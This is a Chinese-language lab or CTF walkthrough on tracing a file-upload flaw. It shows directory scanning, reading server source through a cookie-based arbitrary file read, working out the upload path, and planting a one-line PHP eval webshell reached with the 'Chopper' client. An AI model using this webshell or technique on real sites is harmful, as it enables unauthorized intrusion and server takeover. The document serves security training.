这道题也是借助大佬的帮助才成功,具体我们来看:

既然人家扫描发现后台目录有文件上传,我们也不能落后,顺便拿出了传说中的御剑,并进行一波扫描:

发现了几个比较有用的目录,特别是upload1.php跟upload2.php两个上传页面

我们先来访问upload1.php:

点击确定后是upload2.php,竟然是一片空白

不过中间好像有个上传的页面一闪而过,我们用burp抓包,来一页一页看页面

果然有这个页面,但是抓包的cookie引起了我们的注意:

Cookie: uploadmd5=verify%2F5a9300926f7fc020.txt

我们查看源代码:

竟然还有一个隐藏的提交表单

<input type="hidden" name="verify" value="5a9300926f7fc020"/>

我们解码这个 : 5a9300926f7fc020   ----->    结果是 :  1524990922

感觉好像跟题目没有一点关系的好吧

但是我们又突然发现它是以 .txt 结尾的,这是不是会存在任意文件读取漏洞,我们稍后尝试,我们进行下一步上传

我们直接构造 1.php 内容为  <?php @eval($_POST["joker"]);?> 进行上传

太棒了,我们直接用菜刀链接,等等,上传路径去哪里了......

分析数据包可能是upload_file.php....我们访问试一下

mmp,什么鬼....就卡了好久好久...

突然想到还有一个可能包含任意文件读取的点,我们重新抓包

verify%2F5a9300926f7fc020   ------>   upload_file.php

激动啊,我竟然看到了源代码,我们记录下来

<?php
$path="uploadfile/";//上传路径
$verify=$_POST["verify"];
$time=date("Ymd");
if($_FILES["filename"]["name"])
{
$file1=$_FILES["filename"]["name"];
$file2 = $path.$time.'_'.$verify.'_'.$file1;
$flag=1;
}
if($flag) $result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);
if($result) echo "上传成功!";
?>

发现包含了上传路径!!!good!!!

$result=move_uploaded_file($_FILES["filename"]["tmp_name"],$file2);  

关键在这一句,$file2 可能保存的就是文件的上传路径

$file2 = $path.$time.'_'.$verify.'_'.$file1; 

其中:     $path="uploadfile/"
                $verify=$_POST["verify"];  
我想到了那个隐藏的提交表单,其中value="5a9300926f7fc020"
                $time=date("Ymd");  
Ymd不就年月日,那今天就是20180429

这样一来上传的路径不就是   admin/uploadfile/20180429_5a9300926f7fc020_1.php

我们访问,并用菜刀链接:

后来才发现还有upload.php,御剑估计老了,我们用任意代码的漏洞查看

竟然是cookie的生成过程,哈哈哈

到此为止,掌握方法,顺便告诉我们cookie的重要性

6. webshell文件上传分析溯源的更多相关文章

  1. 1.5 webshell文件上传漏洞分析溯源(1~4)

    webshell文件上传漏洞分析溯源(第一题) 我们先来看基础页面: 先上传1.php ---->   ,好吧意料之中 上传1.png  ---->   我们查看页面元素 -----> ...

  2. Python学习---抽屉框架分析[点赞功能/文件上传分析]0317

    点赞功能分析 前台传递过来新闻id[new_id]和session[session内有用户ID和用户之间的信息]到后台 后台News数据库内用户和新闻是多对多的关系,查看第三张表中的内容,判读用户Id ...

  3. UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  4. [转]UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  5. 文件上传漏洞靶场分析 UPLOAD_LABS

    文件上传漏洞靶场(作者前言) 文件上传漏洞 产生原理 PASS 1) function checkFile() { var file = document.getElementsByName('upl ...

  6. HTTP POST请求报文格式分析与Java实现文件上传

    时间 2014-12-11 12:41:43  CSDN博客 原文  http://blog.csdn.net/bboyfeiyu/article/details/41863951 主题 HTTPHt ...

  7. Hadoop之HDFS原理及文件上传下载源码分析(上)

    HDFS原理 首先说明下,hadoop的各种搭建方式不再介绍,相信各位玩hadoop的同学随便都能搭出来. 楼主的环境: 操作系统:Ubuntu 15.10 hadoop版本:2.7.3 HA:否(随 ...

  8. Hadoop之HDFS原理及文件上传下载源码分析(下)

    上篇Hadoop之HDFS原理及文件上传下载源码分析(上)楼主主要介绍了hdfs原理及FileSystem的初始化源码解析, Client如何与NameNode建立RPC通信.本篇将继续介绍hdfs文 ...

  9. SpringMVC源码分析--文件上传

    SpringMVC提供了文件上传的功能,接下来我们就简单了解一下SpringMVC文件上传的开发及大致过程. 首先需要在springMVC的配置文件中配置文件上传解析器 <bean id=&qu ...

随机推荐

  1. 【BZOJ4399】魔法少女LJJ 线段树合并

    [BZOJ4399]魔法少女LJJ Description 在森林中见过会动的树,在沙漠中见过会动的仙人掌过后,魔法少女LJJ已经觉得自己见过世界上的所有稀奇古怪的事情了LJJ感叹道“这里真是个迷人的 ...

  2. Azkaban_Oozie_action

    http://azkaban.github.io/azkaban/docs/2.5/ There is no reason why MySQL was chosen except that it is ...

  3. [STM8L]基于STM8L152的TAB段式LCD液晶驱动的分析 - 单片机干货 - 中国电子技术论坛 - 最好最受欢迎电子论坛!

    [STM8L]基于STM8L152的TAB段式LCD液晶驱动的分析 - 单片机干货 - 中国电子技术论坛 - 最好最受欢迎电子论坛!.md 主控芯片为STM8L152C4T6自带LCD控制器,低功耗系 ...

  4. BZOJ 4519 [CQOI2016]不同的最小割

    这道题目很奇怪. 为什么奇怪?因为这道题用了一种叫分治最小割/最小割树的玩意. 以前从来没有见过这东西. 推荐一个讲这玩意的博客 写起来还是很顺手的. #include<iostream> ...

  5. HDU 2037 今年暑假不AC ( 起始与终止时间 【贪心】)

    今年暑假不AC Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Sub ...

  6. 【css学习整理】浮动,清除

    css内边距属性: padding padding-top right bottom left 如果是两个数字,指的是上下,左右 padding: 10px 20px  上下10  左右20 如果是三 ...

  7. (5)表单Action后台验证

    /day31/src/cn/itcast/web/struts2/user/UserAction.java package cn.itcast.web.struts2.user; import com ...

  8. JAVA-三大语句(选择语句、条件语句、循环语句)

    跳出指定的for循环体,和goto很像 1 K:for(int i=0;i<3;i++){//给这个for循环体取一个名字为K 2 for(int j=0;j<3;j++){ 3 if(j ...

  9. Mybatis异常_03_Invalid bound statement (not found)

    一.异常信息 Caused by: org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): c ...

  10. Git_学习_02_ 分支

    Git鼓励大量使用分支: 1.查看分支:git branch 2.创建分支:git branch <name> 3.切换分支:git checkout <name> 4.创建+ ...